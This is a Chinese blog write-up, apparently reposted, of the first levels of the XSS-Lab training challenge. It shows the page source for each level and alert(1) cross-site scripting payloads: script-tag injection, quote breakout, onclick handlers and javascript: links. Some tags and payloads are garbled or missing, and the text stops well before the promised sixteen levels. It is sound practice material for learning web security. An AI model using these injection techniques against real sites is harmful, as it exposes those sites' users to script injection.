前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接:https://buuoj.cn/challenges GitHub仓库:https://github.com/rebo-rn/x
本篇博客主要是记录笔者完成XSS-Lab
步骤以及分析
题目链接:https://buuoj.cn/challenges
GitHub仓库:https://github.com/rebo-rn/xss-lab
出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite up.docx
ps:仓库可以看代码即白盒测试
我们发现网址后面有一个name
的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如name=kaptree
,我们可以看到直接就显示欢迎kaptree
了
于是我们这里直接注入name=
ok,成功注入
我们发现有一个输入框,于是先认为这里可以注入,填上keyWord=
,我们发现并不能注入
我们直接看一下相应的源码:
DOCTYPE html><html><head><meta Http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!"); window.location.href="level3.PHP?writing=wait"; }script><title>欢迎来到level2title>head><body><h1 align=center>欢迎来到level2h1><h2 align=center>没有找到和<script>alert(1)</script>相关的结果.h2><center><fORM action=level2.php method=GET><input name=keyword value=""><input type=submit name=submit value="搜索"/>form>center><center><img src=level2.png>center><h3 align=center>payload的长度:25h3>body>html>
我们发现这里他直接把我们输入的内容进行替换,于是我们通过
"
绕过,即keyword=">
仍然先尝试level2
的方式注入,发现并没有用,于是我们打开网页代码看看
DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; }script><title>欢迎来到level3title>head><body><h1 align=center>欢迎来到level3h1><h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.h2><center><form action=level3.php method=GET><input name=keyword value='"><script>alert(1)</script>'><input type=submit name=submit value=搜索 />form>center><center><img src=level3.png>center><h3 align=center>payload的长度:27h3>body>html>
我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现'
没被替换,于是我们可以给当前的位置绑定一个点击事件:keyword=' onclick='alert(1)
,然后需要点击一下输入框
尝试之前的注入方式,发现行不通,然后查看源码
DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; }script><title>欢迎来到level4title>head><body><h1 align=center>欢迎来到level4h1><h2 align=center>没有找到和' οnclick='alert(1)相关的结果.h2><center><form action=level4.php method=GET><input name=keyword value="' οnclick='alert(1)"><input type=submit name=submit value=搜索 />form>center><center><img src=level4.png>center><h3 align=center>payload的长度:19h3>body>html>
猜测是双引号的问题,于是:
keyword=" onclick="alert(1)
<input name=keyword value=""><scr_ipt>alert(1)script>">
发现关键词也被过滤了,于是我们使用标签绕过,即
keyword=">javascript:alert(1)"
然后点击一下图片或者下方的文字即可
在源文件中我们也可以看到,有一些关键字被过滤掉了,即
绕过:大小写,编码,双写等等
来源地址:https://blog.csdn.net/m0_46201544/article/details/127578322
--结束END--
本文标题: XSS-Lab(XSS注入笔记1-16)
本文链接: https://www.lsjlt.com/news/387256.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0